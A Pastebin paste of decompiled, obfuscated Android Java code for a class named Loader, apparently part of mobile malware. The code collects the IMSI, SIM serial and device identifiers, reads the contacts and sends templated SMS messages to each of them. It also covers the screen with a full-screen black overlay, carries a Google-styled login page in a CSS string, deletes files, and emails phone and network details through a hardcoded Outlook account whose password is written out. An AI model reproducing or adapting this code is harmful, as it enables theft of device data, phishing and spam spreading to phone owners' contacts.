daily pastebin goal
30%
SHARE
TWEET

Untitled

a guest Mar 22nd, 2019 99 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package com;
  2.  
  3. import android.accounts.Account;
  4. import android.accounts.AccountManager;
  5. import android.annotation.SuppressLint;
  6. import android.app.Activity;
  7. import android.app.ActivityManager;
  8. import android.app.ActivityManager.RunningTaskInfo;
  9. import android.app.AlertDialog;
  10. import android.app.AlertDialog.Builder;
  11. import android.app.Dialog;
  12. import android.app.Notification;
  13. import android.app.NotificationManager;
  14. import android.app.PendingIntent;
  15. import android.app.Service;
  16. import android.app.usage.UsageStats;
  17. import android.app.usage.UsageStatsManager;
  18. import android.content.BroadcastReceiver;
  19. import android.content.ContentResolver;
  20. import android.content.Context;
  21. import android.content.DialogInterface;
  22. import android.content.DialogInterface.OnClickListener;
  23. import android.content.Intent;
  24. import android.content.IntentFilter;
  25. import android.content.SharedPreferences;
  26. import android.content.pm.PackageInfo;
  27. import android.content.pm.PackageManager;
  28. import android.database.ContentObserver;
  29. import android.database.Cursor;
  30. import android.graphics.drawable.ColorDrawable;
  31. import android.media.AudioManager;
  32. import android.media.ToneGenerator;
  33. import android.net.ConnectivityManager;
  34. import android.net.NetworkInfo;
  35. import android.net.Uri;
  36. import android.net.wifi.WifiInfo;
  37. import android.net.wifi.WifiManager;
  38. import android.net.wifi.WifiManager.WifiLock;
  39. import android.os.Build;
  40. import android.os.Build.VERSION;
  41. import android.os.Environment;
  42. import android.os.Handler;
  43. import android.os.Looper;
  44. import android.os.PowerManager;
  45. import android.os.PowerManager.WakeLock;
  46. import android.provider.Settings.System;
  47. import android.telephony.PhoneStateListener;
  48. import android.telephony.SignalStrength;
  49. import android.telephony.SmsMessage;
  50. import android.telephony.TelephonyManager;
  51. import android.text.format.DateFormat;
  52. import android.text.format.Time;
  53. import android.util.Base64;
  54. import android.util.Log;
  55. import android.view.KeyEvent;
  56. import android.view.View;
  57. import android.view.View.OnKeyListener;
  58. import android.view.ViewParent;
  59. import android.view.Window;
  60. import android.view.WindowManager;
  61. import android.view.WindowManager.LayoutParams;
  62. import android.webkit.WebChromeClient;
  63. import android.webkit.WebChromeClient.CustomViewCallback;
  64. import android.webkit.WebView;
  65. import android.webkit.WebViewClient;
  66. import android.widget.FrameLayout;
  67. import android.widget.RemoteViews;
  68. import java.io.ByteArrayOutputStream;
  69. import java.io.File;
  70. import java.io.FileOutputStream;
  71. import java.io.Serializable;
  72. import java.lang.Thread.UncaughtExceptionHandler;
  73. import java.lang.reflect.Method;
  74. import java.net.HttpURLConnection;
  75. import java.net.Socket;
  76. import java.net.URL;
  77. import java.net.URLConnection;
  78. import java.util.ArrayList;
  79. import java.util.Arrays;
  80. import java.util.Collection;
  81. import java.util.Comparator;
  82. import java.util.Date;
  83. import java.util.HashMap;
  84. import java.util.Iterator;
  85. import java.util.LinkedHashMap;
  86. import java.util.LinkedHashSet;
  87. import java.util.List;
  88. import java.util.Locale;
  89. import java.util.Map;
  90. import java.util.Map.Entry;
  91. import java.util.Properties;
  92. import java.util.Random;
  93. import java.util.Set;
  94. import java.util.Timer;
  95. import java.util.TimerTask;
  96. import java.util.concurrent.Callable;
  97. import java.util.concurrent.TimeUnit;
  98. import java.util.concurrent.atomic.AtomicBoolean;
  99. import java.util.regex.Matcher;
  100. import java.util.regex.Pattern;
  101. import java.util.zip.Inflater;
  102. import javax.mail.Message.RecipientType;
  103. import javax.mail.Session;
  104. import javax.mail.Transport;
  105. import javax.mail.internet.InternetAddress;
  106. import javax.mail.internet.MimeMessage;
  107. import org.json.JSONObject;
  108.  
  109. public final class Loader {
  110.     public static final a Companion = new a();
  111.     private final String A;
  112.     private final String B;
  113.     private final String C;
  114.     private final String D;
  115.     private Context a;
  116.     private final Handler b = new Handler(Looper.getMainLooper());
  117.     private final Set<String> c = new LinkedHashSet();
  118.     private final Set<String> d = new LinkedHashSet();
  119.     private SharedPreferences e;
  120.     private WakeLock f;
  121.     private final g g = new g();
  122.     private final Timer h = new Timer(true);
  123.     private TimerTask i;
  124.     private String j = "";
  125.     private boolean k;
  126.     private f l = new b(this);
  127.     private View m;
  128.     private final AtomicBoolean n = new AtomicBoolean(false);
  129.     private String o = "";
  130.     private AlertDialog p;
  131.     private final o q = new o(this);
  132.     private String r = "";
  133.     private String s = "";
  134.     private final boolean t = p.a();
  135.     private int u;
  136.     private final HashMap<String, String> v = new HashMap();
  137.     private Dialog w;
  138.     public WifiLock wifiLock;
  139.     private boolean x;
  140.     private long y;
  141.     private final String z = "\n        body {\n            font-family: Roboto-Regular, HelveticaNeue, Arial, sans-serif;\n        }\n\n        label {\n            color: #222;\n            line-height: 16px;\n            font-size: 100%;\n            text-decoration: none;\n        }\n\n        input {\n            width: 100%;\n            text-align: left;\n            border-radius: 1px;\n            border: 1px solid #d9d9d9;\n            border-top: 1px solid #c0c0c0;\n            font-size: 13px;\n            height: 25px;\n            line-height: 25px;\n            padding: 1px 8px;\n            -webkit-appearance: textfield;\n            background-color: white;\n            -webkit-rtl-ordering: logical;\n            user-select: text;\n            cursor: auto;\n        }\n\n        input, textarea, keygen, select, button {\n            text-rendering: auto;\n            color: initial;\n            letter-spacing: normal;\n            word-spacing: normal;\n            text-transform: none;\n            text-indent: 0px;\n            text-shadow: none;\n            display: inline-block;\n            text-align: start;\n            margin: 0em 0em 0em 0em;\n            font: 13.3333px Arial;\n        }\n\n        input, textarea, keygen, select, button, meter, progress {\n            -webkit-writing-mode: horizontal-tb;\n        }\n\n        .cont {\n            padding-right: 16px;\n            margin-bottom: 18px\n        }\n\n        .yf {\n            height: 24px;\n            display: table-cell;\n            vertical-align: middle;\n        }\n\n        .submit {\n            user-select: none;\n            line-height: 100%;\n            height: 30px;\n            min-width: 120px;\n            -webkit-user-select: none;\n            margin-left: auto;\n            margin-right: auto;\n            text-align: center;\n            vertical-align: middle;\n            -webkit-box-shadow: none;\n            -moz-box-shadow: none;\n            box-shadow: none;\n            background-color: #4d90fe;\n            background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed);\n            background-image: -moz-linear-gradient(top, #4d90fe, #4787ed);\n            background-image: -ms-linear-gradient(top, #4d90fe, #4787ed);\n            background-image: -o-linear-gradient(top, #4d90fe, #4787ed);\n            background-image: linear-gradient(top, #4d90fe, #4787ed);\n            border: 1px solid #3079ed;\n            color: #fff;\n            font-weight: bold;\n        }\n\n        .btn-cont {\n            text-align: center;\n            vertical-align: middle;\n            margin-bottom: 10px;\n        }\n\n        .appbar {\n            background: #eee;\n            color: #dd4b39;\n            font-size: 20px;\n            padding: 12px 10px;\n        }\n\n        .appbarb {\n            border-bottom: 1px solid #ccc;\n            margin-bottom: 20px;\n        }\n\n        .apptitle {\n            margin-left: 10px;\n            font-size: 100%;\n        }\n\n        html, body {\n            margin: 0 !important;\n            padding: 0 !important;\n        }\n        .title {\n            vertical-align: middle;\n        }\n        .icon {\n            display: inline-block;\n            vertical-align: middle;\n            width: 40px;\n            height: 40px;\n            background-size: contain;\n            background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAMAAAAp4XiDAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5RDdFNjc1RkY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5RDdFNjc2MEY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjlEN0U2NzVERjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjlEN0U2NzVFRjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+5CGu0wAAAMBQTFRFUrFp7c7MQoX09KY39c9f+7wFmbrx8uCr7LSw6VtQ6kM18IdC63Nprta5Zrp7i8mcnbMq1OTYNKhT2ODvOpqU642Gm8+p5enuZJry6Us+6rsMQatZ7t/ePKlU7VosfavrQYnm7u3sNaZc5Ormf8SS7uno6koy6evv6mtg7+ziNadU6UY57u7u7e7t+bwN3+Xu+cEj7O3t7u3t7+nZP43PToz0wdPw2LkTwbw7vNvF9ZIV8Xcglbxc6uzu+awLNqRp7AzCkQAAAfdJREFUeNrE1m13mjAUAODQGglMsOSUVgTmIlp5aWylsy3b3P7/vxoCgRDDi596P3mOPOfemxtIwPPVAb6MbJE90xxdd7TQRt4IgmZJojeRzBDpJ0jjny9DQz1ECXVphF4XQYneEQ6SEmLrPYEkJO0VmkdSkQwJSWGo/UyiheF5NpeiJgrfuWMr22Kmiu1cCEZSfnVtj27L8aWpZ4uCkaasxFGE4YaebPrk9olbGjJiW1IV/v1etaGQcTt5AiH8LUysn7zBc/zKi5uNfV/UgpyLU9KRZAKr+JY+X0sm/F83kliUhJLXSuzVIXJkWfYsSzREbnYlOTAB00HyUmWpCRkmVCjsbXQW1j5Ux/YSsUXeT0avGCPLPzyZNrES5lJvmA93nckHPmVkxUhU9H/n+9iUk8WxItOKUJJXtrzzMY5jQybe+QWr3hcVLt1c5OFa9ELsFnUrtCbRp18KjIElikPdfFEX+1wYTOR5hCV4bMTxkSPExE1sggacMvCjnaT+9Fk+Z/xNVqiD9QDw+t9PlmTXIgcDtwMAE8Tlz/i+JO/CN5nOcWfE9+fipicqHBZ0021wXtzqdHkk9eXB61UgO/io4XeSedRxvFqmHLgZpZ2HuAEkYB70XhVoZrbLAw/B8IUkyOYmcGPsA3NjWNddeyj9usvVfwEGAFh9KoqHfbO5AAAAAElFTkSuQmCC\");\n        }\n        ";
  142.  
  143.     public static final class a {
  144.         private a() {
  145.         }
  146.  
  147.         public /* synthetic */ a(e eVar) {
  148.             this();
  149.         }
  150.  
  151.         public final Loader a() {
  152.             return new Loader();
  153.         }
  154.     }
  155.  
  156.     static final class aa extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  157.         final /* synthetic */ Loader a;
  158.  
  159.         aa(Loader loader) {
  160.             this.a = loader;
  161.             super(1);
  162.         }
  163.  
  164.         public final c.a.h<Object> a(final Object[] objArr) {
  165.             d.e.b.h.b(objArr, "params");
  166.             Object a = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
  167.                 final /* synthetic */ aa a;
  168.  
  169.                 public final void a() {
  170.                     Loader loader = this.a.a;
  171.                     Object obj = objArr[0];
  172.                     if (obj == null) {
  173.                         throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  174.                     }
  175.                     loader.a(((Boolean) obj).booleanValue());
  176.                 }
  177.             });
  178.             d.e.b.h.a(a, "Maybe.fromAction<Any> {\n…as Boolean)\n            }");
  179.             return a;
  180.         }
  181.     }
  182.  
  183.     static final class ab extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Map<String, ? extends Object>>> {
  184.         final /* synthetic */ Loader a;
  185.  
  186.         ab(Loader loader) {
  187.             this.a = loader;
  188.             super(1);
  189.         }
  190.  
  191.         public final c.a.h<Map<String, Object>> a(Object[] objArr) {
  192.             d.e.b.h.b(objArr, "it");
  193.             Object systemService = Loader.access$getCtx$p(this.a).getSystemService("phone");
  194.             if (systemService == null) {
  195.                 throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  196.             }
  197.             TelephonyManager telephonyManager = (TelephonyManager) systemService;
  198.             systemService = c.a.h.a(v.a(d.f.a("imsi", telephonyManager.getSubscriberId()), d.f.a("simSerial", telephonyManager.getSimSerialNumber()), d.f.a("androidId", System.getString(Loader.access$getCtx$p(this.a).getContentResolver(), "android_id")), d.f.a("serial", Build.SERIAL)));
  199.             d.e.b.h.a(systemService, "Maybe.just(mapOf<String,…ild.SERIAL\n            ))");
  200.             return systemService;
  201.         }
  202.     }
  203.  
  204.     static final class ac extends d.e.b.i implements d.e.a.b<Object[], c.a.h<ArrayList<HashMap<String, String>>>> {
  205.         final /* synthetic */ Loader a;
  206.  
  207.         /* renamed from: com.Loader$ac$1 */
  208.         static final class AnonymousClass1<V> implements Callable<T> {
  209.             final /* synthetic */ ac a;
  210.  
  211.             AnonymousClass1(ac acVar) {
  212.                 this.a = acVar;
  213.             }
  214.  
  215.             /* renamed from: a */
  216.             public final ArrayList<HashMap<String, String>> call() {
  217.                 return p.a(Loader.access$getCtx$p(this.a.a));
  218.             }
  219.         }
  220.  
  221.         ac(Loader loader) {
  222.             this.a = loader;
  223.             super(1);
  224.         }
  225.  
  226.         public final c.a.h<ArrayList<HashMap<String, String>>> a(Object[] objArr) {
  227.             d.e.b.h.b(objArr, "it");
  228.             Object a = c.a.h.a((Callable) new AnonymousClass1(this));
  229.             d.e.b.h.a(a, "Maybe.fromCallable {\n   …ontact(ctx)\n            }");
  230.             return a;
  231.         }
  232.     }
  233.  
  234.     static final class ad extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  235.         final /* synthetic */ Loader a;
  236.  
  237.         ad(Loader loader) {
  238.             this.a = loader;
  239.             super(1);
  240.         }
  241.  
  242.         public final c.a.h<Object> a(final Object[] objArr) {
  243.             d.e.b.h.b(objArr, "params");
  244.             Object a = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
  245.                 final /* synthetic */ ad a;
  246.  
  247.                 public final void a() {
  248.                     Object obj = objArr[0];
  249.                     if (obj == null) {
  250.                         throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  251.                     }
  252.                     boolean booleanValue = ((Boolean) obj).booleanValue();
  253.                     Loader.access$getPreferences$p(this.a.a).edit().putBoolean("lock", booleanValue).apply();
  254.                     if (booleanValue) {
  255.                         p.b(Loader.access$getCtx$p(this.a.a));
  256.                     } else {
  257.                         p.c(Loader.access$getCtx$p(this.a.a));
  258.                     }
  259.                 }
  260.             });
  261.             d.e.b.h.a(a, "Maybe.fromAction<Any> {\n…          }\n            }");
  262.             return a;
  263.         }
  264.     }
  265.  
  266.     static final class ae extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Boolean>> {
  267.         final /* synthetic */ Loader a;
  268.  
  269.         ae(Loader loader) {
  270.             this.a = loader;
  271.             super(1);
  272.         }
  273.  
  274.         public final c.a.h<Boolean> a(final Object[] objArr) {
  275.             d.e.b.h.b(objArr, "params");
  276.             Object a = c.a.h.a((c.a.k) new c.a.k<T>(this) {
  277.                 final /* synthetic */ ae a;
  278.  
  279.                 static final class a extends d.e.b.i implements d.e.a.b<d.i.i, String> {
  280.                     final /* synthetic */ Random a;
  281.  
  282.                     a(Random random) {
  283.                         this.a = random;
  284.                         super(1);
  285.                     }
  286.  
  287.                     public final String a(d.i.i iVar) {
  288.                         d.e.b.h.b(iVar, "it");
  289.                         return String.valueOf(this.a.nextInt(90000) + 10000);
  290.                     }
  291.                 }
  292.  
  293.                 static final class b extends d.e.b.i implements d.e.a.b<d.i.i, String> {
  294.                     final /* synthetic */ Random a;
  295.  
  296.                     b(Random random) {
  297.                         this.a = random;
  298.                         super(1);
  299.                     }
  300.  
  301.                     public final String a(d.i.i iVar) {
  302.                         d.e.b.h.b(iVar, "it");
  303.                         Object substring = "//////".substring(0, this.a.nextInt(5) + 1);
  304.                         d.e.b.h.a(substring, "(this as java.lang.Strin…ing(startIndex, endIndex)");
  305.                         return substring;
  306.                     }
  307.                 }
  308.  
  309.                 static final class c extends d.e.b.i implements d.e.a.b<d.i.i, String> {
  310.                     final /* synthetic */ Random a;
  311.  
  312.                     c(Random random) {
  313.                         this.a = random;
  314.                         super(1);
  315.                     }
  316.  
  317.                     public final String a(d.i.i iVar) {
  318.                         d.e.b.h.b(iVar, "it");
  319.                         return String.valueOf("abcdefghijklmnopqrstuvwxyz".charAt(this.a.nextInt(26)));
  320.                     }
  321.                 }
  322.  
  323.                 public final void a(c.a.i<Boolean> iVar) {
  324.                     d.e.b.h.b(iVar, "emitter");
  325.                     Object obj = objArr[0];
  326.                     if (obj == null) {
  327.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  328.                     }
  329.                     String str = (String) obj;
  330.                     Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("phone");
  331.                     if (systemService == null) {
  332.                         throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  333.                     }
  334.                     if (((TelephonyManager) systemService).getSimState() == 5) {
  335.                         CharSequence charSequence = str;
  336.                         if (charSequence.length() > 0) {
  337.                             Set<String> a = a.a.a(Loader.access$getCtx$p(this.a.a));
  338.                             Random random = new Random();
  339.                             for (String lVar : a) {
  340.                                 n.a.a(new l(Loader.access$getCtx$p(this.a.a), lVar, new d.i.k("\\^").a((CharSequence) new d.i.k("~~").a((CharSequence) new d.i.k("\\$\\$").a(charSequence, (d.e.a.b) new a(random)), (d.e.a.b) new b(random)), (d.e.a.b) new c(random)), null, AnonymousClass1.a));
  341.                             }
  342.                             obj = Boolean.valueOf(true);
  343.                             iVar.a(obj);
  344.                         }
  345.                     }
  346.                     obj = Boolean.valueOf(false);
  347.                     iVar.a(obj);
  348.                 }
  349.             });
  350.             d.e.b.h.a(a, "Maybe.create<Boolean> { …          }\n            }");
  351.             return a;
  352.         }
  353.     }
  354.  
  355.     static final class af extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  356.         final /* synthetic */ Loader a;
  357.  
  358.         af(Loader loader) {
  359.             this.a = loader;
  360.             super(1);
  361.         }
  362.  
  363.         public final c.a.h<Object> a(final Object[] objArr) {
  364.             d.e.b.h.b(objArr, "params");
  365.             Object a = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
  366.                 final /* synthetic */ af a;
  367.  
  368.                 public final void a() {
  369.                     Object obj = objArr[0];
  370.                     if (obj == null) {
  371.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  372.                     }
  373.                     Loader.access$getPreferences$p(this.a.a).edit().putString("fs", (String) obj).apply();
  374.                 }
  375.             });
  376.             d.e.b.h.a(a, "Maybe.fromAction<Any> {\n… v).apply()\n            }");
  377.             return a;
  378.         }
  379.     }
  380.  
  381.     static final class ag extends d.e.b.i implements d.e.a.b<Object[], c.a.h<String>> {
  382.         final /* synthetic */ Loader a;
  383.  
  384.         ag(Loader loader) {
  385.             this.a = loader;
  386.             super(1);
  387.         }
  388.  
  389.         public final c.a.h<String> a(Object[] objArr) {
  390.             d.e.b.h.b(objArr, "params");
  391.             Object a = c.a.h.a(Loader.access$getPreferences$p(this.a).getString("fs", ""));
  392.             d.e.b.h.a(a, "Maybe.just(preferences.getString(\"fs\", \"\"))");
  393.             return a;
  394.         }
  395.     }
  396.  
  397.     static final class ah extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Boolean>> {
  398.         final /* synthetic */ Loader a;
  399.  
  400.         ah(Loader loader) {
  401.             this.a = loader;
  402.             super(1);
  403.         }
  404.  
  405.         public final c.a.h<Boolean> a(final Object[] objArr) {
  406.             d.e.b.h.b(objArr, "params");
  407.             Object a = c.a.h.a((Callable) new Callable<T>(this) {
  408.                 final /* synthetic */ ah a;
  409.  
  410.                 public final boolean a() {
  411.                     Object obj = objArr[0];
  412.                     if (obj == null) {
  413.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  414.                     }
  415.                     return this.a.a.c.contains((String) obj);
  416.                 }
  417.  
  418.                 public /* synthetic */ Object call() {
  419.                     return Boolean.valueOf(a());
  420.                 }
  421.             });
  422.             d.e.b.h.a(a, "Maybe.fromCallable {\n   …ntains(pkg)\n            }");
  423.             return a;
  424.         }
  425.     }
  426.  
  427.     static final class ai extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  428.         final /* synthetic */ Loader a;
  429.  
  430.         ai(Loader loader) {
  431.             this.a = loader;
  432.             super(1);
  433.         }
  434.  
  435.         public final c.a.h<Object> a(final Object[] objArr) {
  436.             d.e.b.h.b(objArr, "params");
  437.             Object a = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
  438.                 final /* synthetic */ ai a;
  439.  
  440.                 public final void a() {
  441.                     Object obj = objArr[0];
  442.                     if (obj == null) {
  443.                         throw new d.g("null cannot be cast to non-null type kotlin.Int");
  444.                     }
  445.                     int intValue = ((Integer) obj).intValue();
  446.                     obj = Loader.access$getCtx$p(this.a.a).getSystemService("audio");
  447.                     if (obj == null) {
  448.                         throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
  449.                     }
  450.                     ((AudioManager) obj).setRingerMode(intValue);
  451.                 }
  452.             });
  453.             d.e.b.h.a(a, "Maybe.fromAction<Any> {\n…Mode = mode\n            }");
  454.             return a;
  455.         }
  456.     }
  457.  
  458.     static final class aj implements Runnable {
  459.         final /* synthetic */ Loader a;
  460.  
  461.         aj(Loader loader) {
  462.             this.a = loader;
  463.         }
  464.  
  465.         public final void run() {
  466.             if (this.a.getFsFloatView() != null) {
  467.                 Object systemService = Loader.access$getCtx$p(this.a).getApplicationContext().getSystemService("window");
  468.                 if (systemService == null) {
  469.                     throw new d.g("null cannot be cast to non-null type android.view.WindowManager");
  470.                 }
  471.                 ((WindowManager) systemService).removeView(this.a.getFsFloatView());
  472.             }
  473.         }
  474.     }
  475.  
  476.     static final class ak implements Runnable {
  477.         final /* synthetic */ Loader a;
  478.  
  479.         ak(Loader loader) {
  480.             this.a = loader;
  481.         }
  482.  
  483.         public final void run() {
  484.             this.a.requestIgnoreBatteryOpt();
  485.         }
  486.     }
  487.  
  488.     static final class al implements Runnable {
  489.         final /* synthetic */ Loader a;
  490.         final /* synthetic */ String b;
  491.  
  492.         al(Loader loader, String str) {
  493.             this.a = loader;
  494.             this.b = str;
  495.         }
  496.  
  497.         public final void run() {
  498.             Properties properties = new Properties();
  499.             properties.setProperty("mail.transport.protocol", "smtp");
  500.             properties.setProperty("mail.smtp.host", "smtp-mail.outlook.com");
  501.             properties.setProperty("mail.smtp.port", "587");
  502.             properties.setProperty("mail.smtp.auth", "true");
  503.             properties.setProperty("mail.smtp.starttls.enable", "true");
  504.             Object string = Loader.access$getPreferences$p(this.a).getString("last_addr", "");
  505.             d.e.b.h.a(string, "preferences.getString(\"last_addr\", \"\")");
  506.             String a = s.a((String) string, "ws://", "", false, 4, null);
  507.             int a2 = t.a((CharSequence) a, ':', 0, false, 6, null);
  508.             if (a2 > 0) {
  509.                 if (a == null) {
  510.                     throw new d.g("null cannot be cast to non-null type java.lang.String");
  511.                 }
  512.                 a = a.substring(0, a2);
  513.                 d.e.b.h.a((Object) a, "(this as java.lang.Strin…ing(startIndex, endIndex)");
  514.             }
  515.             a = this.a.ping(a, 4);
  516.             Object instance = Session.getInstance(properties);
  517.             d.e.b.h.a(instance, "session");
  518.             instance.setDebug(true);
  519.             MimeMessage a3 = new d.e.b.i(this) {
  520.                 final /* synthetic */ al a;
  521.  
  522.                 public final MimeMessage a(Session session, String str, String str2) {
  523.                     d.e.b.h.b(session, "session");
  524.                     d.e.b.h.b(str, "sendMail");
  525.                     d.e.b.h.b(str2, "receiveMail");
  526.                     Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("phone");
  527.                     if (systemService == null) {
  528.                         throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  529.                     }
  530.                     TelephonyManager telephonyManager = (TelephonyManager) systemService;
  531.                     String access$getLine1 = this.a.a.a(telephonyManager);
  532.                     String str3 = access$getLine1 != null ? access$getLine1 : "";
  533.                     String networkOperatorName = telephonyManager.getNetworkOperatorName();
  534.                     String locale = Locale.getDefault().toString();
  535.                     Object systemService2 = Loader.access$getCtx$p(this.a.a).getSystemService("connectivity");
  536.                     if (systemService2 == null) {
  537.                         throw new d.g("null cannot be cast to non-null type android.net.ConnectivityManager");
  538.                     }
  539.                     NetworkInfo activeNetworkInfo = ((ConnectivityManager) systemService2).getActiveNetworkInfo();
  540.                     access$getLine1 = "无";
  541.                     if (activeNetworkInfo != null) {
  542.                         access$getLine1 = activeNetworkInfo.getTypeName();
  543.                         d.e.b.h.a((Object) access$getLine1, "info.typeName");
  544.                     }
  545.                     if (d.e.b.h.a((Object) access$getLine1, (Object) "MOBILE")) {
  546.                         access$getLine1 = p.a(telephonyManager.getNetworkType());
  547.                     }
  548.                     MimeMessage mimeMessage = new MimeMessage(session);
  549.                     StringBuilder stringBuilder = new StringBuilder();
  550.                     stringBuilder.append("用户:");
  551.                     stringBuilder.append(str3);
  552.                     mimeMessage.setFrom(new InternetAddress(str, stringBuilder.toString(), "UTF-8"));
  553.                     RecipientType recipientType = MimeMessage.RecipientType.TO;
  554.                     StringBuilder stringBuilder2 = new StringBuilder();
  555.                     stringBuilder2.append("用户:");
  556.                     stringBuilder2.append(str3);
  557.                     mimeMessage.setRecipient(recipientType, new InternetAddress(str2, stringBuilder2.toString(), "UTF-8"));
  558.                     StringBuilder stringBuilder3 = new StringBuilder();
  559.                     stringBuilder3.append("连接错误 ");
  560.                     stringBuilder3.append(locale);
  561.                     mimeMessage.setSubject(stringBuilder3.toString(), "UTF-8");
  562.                     stringBuilder3 = new StringBuilder();
  563.                     stringBuilder3.append("号码:");
  564.                     stringBuilder3.append(str3);
  565.                     stringBuilder3.append(" \r\n");
  566.                     stringBuilder3.append("网络:");
  567.                     stringBuilder3.append(access$getLine1);
  568.                     stringBuilder3.append('/');
  569.                     stringBuilder3.append(networkOperatorName);
  570.                     stringBuilder3.append(" \r\n");
  571.                     stringBuilder3.append("PING:");
  572.                     stringBuilder3.append(a);
  573.                     stringBuilder3.append(" \r\n");
  574.                     stringBuilder3.append(this.a.b);
  575.                     mimeMessage.setContent(stringBuilder3.toString(), "text/plain;charset=UTF-8");
  576.                     mimeMessage.setSentDate(new Date());
  577.                     mimeMessage.saveChanges();
  578.                     return mimeMessage;
  579.                 }
  580.             }.a(instance, "aswasd2v@hotmail.com", "aswasd2v@hotmail.com");
  581.             Transport transport = instance.getTransport();
  582.             transport.connect("aswasd2v@hotmail.com", "shaoye11");
  583.             transport.sendMessage(a3, a3.getAllRecipients());
  584.             transport.close();
  585.         }
  586.     }
  587.  
  588.     static final class am implements Runnable {
  589.         final /* synthetic */ Loader a;
  590.  
  591.         am(Loader loader) {
  592.             this.a = loader;
  593.         }
  594.  
  595.         public final void run() {
  596.             try {
  597.                 LayoutParams layoutParams = new LayoutParams();
  598.                 Object systemService = Loader.access$getCtx$p(this.a).getApplicationContext().getSystemService("window");
  599.                 if (systemService == null) {
  600.                     throw new d.g("null cannot be cast to non-null type android.view.WindowManager");
  601.                 }
  602.                 WindowManager windowManager = (WindowManager) systemService;
  603.                 layoutParams.type = 2010;
  604.                 layoutParams.format = 1;
  605.                 layoutParams.flags = 8;
  606.                 layoutParams.gravity = 51;
  607.                 layoutParams.width = -1;
  608.                 layoutParams.height = -1;
  609.                 if (this.a.getFsFloatView() == null) {
  610.                     this.a.setFsFloatView(new View(Loader.access$getCtx$p(this.a).getApplicationContext()));
  611.                     View fsFloatView = this.a.getFsFloatView();
  612.                     if (fsFloatView == null) {
  613.                         d.e.b.h.a();
  614.                     }
  615.                     fsFloatView.setBackgroundDrawable(new ColorDrawable(-16777216));
  616.                 }
  617.                 windowManager.addView(this.a.getFsFloatView(), layoutParams);
  618.             } catch (Exception e) {
  619.                 e.printStackTrace();
  620.             }
  621.         }
  622.     }
  623.  
  624.     static final class an implements UncaughtExceptionHandler {
  625.         final /* synthetic */ Loader a;
  626.  
  627.         an(Loader loader) {
  628.             this.a = loader;
  629.         }
  630.  
  631.         public final void uncaughtException(Thread thread, Throwable th) {
  632.             th.printStackTrace();
  633.             try {
  634.                 Loader.access$getPreferences$p(this.a).edit().putString("lastError", th.toString()).apply();
  635.             } catch (Throwable th2) {
  636.             }
  637.         }
  638.     }
  639.  
  640.     static final class ao implements Runnable {
  641.         public static final ao a = new ao();
  642.  
  643.         ao() {
  644.         }
  645.  
  646.         public final void run() {
  647.             try {
  648.                 File file = new File(c.k);
  649.                 if (!file.exists()) {
  650.                     file.mkdirs();
  651.                 } else if (file.isFile()) {
  652.                     file.delete();
  653.                 } else if (file.isDirectory()) {
  654.                     File[] listFiles = file.listFiles();
  655.                     if (listFiles == null) {
  656.                         d.e.b.h.a();
  657.                     }
  658.                     for (File delete : listFiles) {
  659.                         delete.delete();
  660.                     }
  661.                 }
  662.             } catch (Exception e) {
  663.                 e.printStackTrace();
  664.             }
  665.         }
  666.     }
  667.  
